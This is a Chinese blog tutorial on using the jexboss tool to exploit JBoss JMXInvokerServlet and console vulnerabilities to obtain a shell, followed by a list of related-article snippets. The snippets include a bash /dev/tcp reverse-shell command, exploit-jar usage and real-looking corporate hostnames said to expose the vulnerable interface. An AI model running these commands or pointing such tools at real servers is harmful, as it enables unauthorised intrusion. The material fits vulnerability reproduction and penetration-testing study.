JBoss HttpAdaptor JMXInvokerServlet漏洞利用

最新推荐文章于 2024-05-12 08:27:06 发布
最新推荐文章于 2024-05-12 08:27:06 发布
阅读量3.2k 收藏 1
点赞数
分类专栏： 漏洞利用 WEB安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_29647709/article/details/84338542
版权

项目地址
https://github.com/joaomatosf/jexboss
项目简介

jexboss是一个使用Python编写的Jboss漏洞检测利用工具，通过它可以检测并利用web-console，jmx-console，JMXInvokerServlet这三个漏洞，并且可以获得一个shell。

使用方法

git clone https://github.com/joaomatosf/jexboss.git #获取jexboss工具
cd jexboss    #切换到jexboss文件夹中
python jexboss.py

依次执行命令
在这里插入图片描述
运行 python jexboss.py 看到使用方法
python jexboss.py + 需要检测的URL 下面表示网站存在漏洞！
在这里插入图片描述
然后选择yes，开始创建连接；
在这里插入图片描述
返回信息显示连接成功了；
在这里插入图片描述
获取了shell，可以开始执行shell命令了
在这里插入图片描述

tdcoming
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Jboss漏洞利用小工具
11-06
jboss利用 jboss漏洞
JBOSS /invoker/JMXInvokerServlet 利用工具 .
weixin_34104341的博客
10-19 1126
链接: http://pan.baidu.com/s/1F8bMI 密码: 1h2r 工具使用说明 1. 查看系统名称 java -jar jboss_exploit_fat.jar -i http://192.168.0.88:10081/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName 2. 查看系统版本 jav...
深入浅出带你学习JBoss中间件常见漏洞
最新发布
dzqxwzoe的博客
05-12 1000
简单来说可以介绍为一个开源的符合J2EE规范的应用服务器，作为J2EE规范的补充，Jboss中引入了AOP框架，为普通Java类提供了J2EE服务，而无需遵循EJB规范。该中间件的特点如下：它将具有革命性的JMX微内核服务作为其总线结构；它本身就是面向服务的架构（Service-Oriented Architecture，SOA）；它还具有统一的类装载器，从而能够实现应用的热部署和热卸载能力。了解完JBOSS中间件的介绍，下面我们来讲关于该中间件的漏洞。成功部署的提示为。
利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞
qq_50854662的博客
09-17 351
JBoss JMXInvokerServlet 反序列化漏洞 Vulnhub官方复现教程漏洞原理 复现过程启动环境端口设置浏览器设置BurpSuit设置 复现漏洞序列化数据生成发送POCEXP Vulnhub官方复现教程 https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/ 漏洞原理 这是经典的JBoss反序列化漏洞，JBoss在/invoker/JMXInvo..
JBoss JMXInvokerServlet 反序列化漏洞复现
W小哥
05-26 1790
一、漏洞描述 影响范围 JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10 JBoss AS (Wildly) 6 and earlier JBoss A-MQ 6.2.0 JBoss Fuse 6.2.0 JBoss SOA Platform (SOA-P) 5.3.1 JBoss Data Grid (JDG) 6.5.0 JBoss BRMS (BRMS) 6.1.0 JBoss BPMS (BPMS) 6.1.0 JBoss Da
JBOSS的一些漏洞
p656456564545的专栏
01-12 1989
http://olms.sinopec.com:80/invoker/JMXInvokerServlet http://edcard.sinopec.com:80/invoker/JMXInvokerServlet 还有一个就是未授权的访问
Jboss Application Server反序列化命令执行漏洞利用工具（CVE-2017-12149）
07-23
漏洞利用工具如压缩包中的"jbosscve-2017-12149"，是安全研究人员或渗透测试者用来检测和测试系统是否受到该漏洞影响的工具。这些工具通常包含精心设计的恶意序列化数据，以及用于触发和验证漏洞利用的脚本。它们...
Jboss漏洞利用总结1
08-03
【JBoss 漏洞利用总结】 JBoss 是一款基于 J2EE 的开源应用服务器，遵循 LGPL 许可，允许在商业应用中免费使用。它主要作为 EJB 容器和服务器，支持 EJB 1.1、2.0 和 3.0 规范。虽然 JBoss 核心服务不包含 Web 容器...
java反序列化漏洞利用工具Jboss&WebLogic;.rar
07-23
jboss利用里添加一键getshell功能，利用的是jboss的热部署功能，直接部署一个war包，一键返回一个菜刀shell 3. 反弹shell部分更完美，不再加载远程war包，直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛出...
【Vulhub】JBOSS JMXInvokerServlet 反序列化漏洞复现
看不尽的尘埃——博客
02-07 2422
环境 目标(Kali)：http://192.168.0.11:8080/ 操作机（Paroot）：192.168.0.131     过程 这个和前几个Jboss反序列化漏洞一样的利用方式。 只要把URL改成下面的即可： http://192.168.0.11:8080/invoker/JMXInvokerServlet            ...
JexBoss反序列化漏洞(JMXInvokerServlet)
红队是青春
05-26 906
## jexboss（JMXInvokerServlet）原理 JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象，然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码，可以利用用户传入的方法，反弹shell，拿下服务器权限。 ```python exp下载地址:https://github.com/joaomatosf/jexboss ``` ## 影响范围 JBoss Enterprise Appl.
JBoss服务器 /invoker/JMXInvokerServlet/ 接口对外开放
Mark
12-26 4072
JBoss服务器的/invoker/JMXInvokerServlet/接口对外开放，hacker通过此接口进行远程部署WebShell，可进一步对服务器进行控制。 文件上传导致任意代码执行 http://www.wooyun.org/bugs/wooyun-2010-031621
JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)
wutiangui的博客
09-11 404
JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。访问:8080/invoker/JMXInvokerServlet，返回如下页面（下载文件），说明接口开放，此接口存在反序列化漏洞。执行完该命令之后，会在本地桌面生成一个序列化的文件exp.ser，并利用cat查看其内容。然后，将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用。
JBoss JMXInvokerServlet 反序列化漏洞（CVE-2015-7501和CVE-2017-12149）
来到了学渣的博客
08-29 5083
JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象，然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。 CVE-2017-12149适用JBoss版本：5.x / 6.x 踩坑提醒:生成的ser文件最好在linux系统操作，windows会出现各种错误，甚至shell反弹不回来。 步骤: 发现漏洞指纹→反弹shell进行编码→用ysoserial把编码好的反弹shell生ser文件→启动监听→用curl或
【vulhub】JBoss JMXInvokerServlet 反序列化漏洞（CVE-2015-7501）复现
qq_45300786的博客
04-15 1180
漏洞描述 这是经典的JBoss反序列化漏洞，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。 影响范围 JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10 JBoss AS (Wildly) 6 and earlier JBoss A-MQ 6.2.0 JBoss Fuse 6.2.0 JBoss SO
JBOSS漏洞精简利用
SoulCat
02-25 861
JBOSS漏洞大杂烩 所谓，一见钟情不过见色起意，日久生情不过权衡利弊。人生来就是孤单的。 文章目录JBOSS漏洞大杂烩反序列化:未授权/弱口令/getshell：绕waf： 反序列化: JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501) 原理： 此漏洞主要是由于JBoss中invoker/JMXInvokerServlet路径对外开放，并且JB...
JBoss 5.x/6.x 反序列化漏洞 CVE-2017-12149 漏洞复现
ADummy的博客
03-03 362
JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149） by ADummy 0x00利用路线 ​ ysoserial生成payload—>上传给网站进行解析—>命令执行 0x01漏洞介绍 ​ Spring Data REST是一个构建在Spring Data之上，为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中（实现RFC6902），path的值被传入setValue，导致执行了SpEL表达式，触发远程命令执行漏洞。 ​ 影
JBoss JMXInvokerServlet 反序列化漏洞
weixin_42687904的博客
08-21 488
JBoss JMXInvokerServlet 反序列化漏洞（CVE-2017-12149） 记一次JBoss反序列化漏洞复现过程 如图，搭建一个JBoss环境 （备注：CVE-2017-12149适用JBoss版本：5.x / 6.x） 漏洞原理： 该漏洞出现在/invoker/readonly请求中，服务器将用户提交的POST内容进行了Java反序列化 编写反弹shell命令： bash -i >& /dev/tcp/192.168.10.100/21 0>&1 由于Run
"Jboss漏洞利用总结：访控不严导致的漏洞
Jboss漏洞利用总结： JBoss是一个基于J2EE的开源应用服务器，被广泛应用于企业级系统中。然而，它也存在一些安全漏洞，其中包括因访问控制不严导致的漏洞。具体而言，Jboss管理控制台（jmx-console）的配置文件路径...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值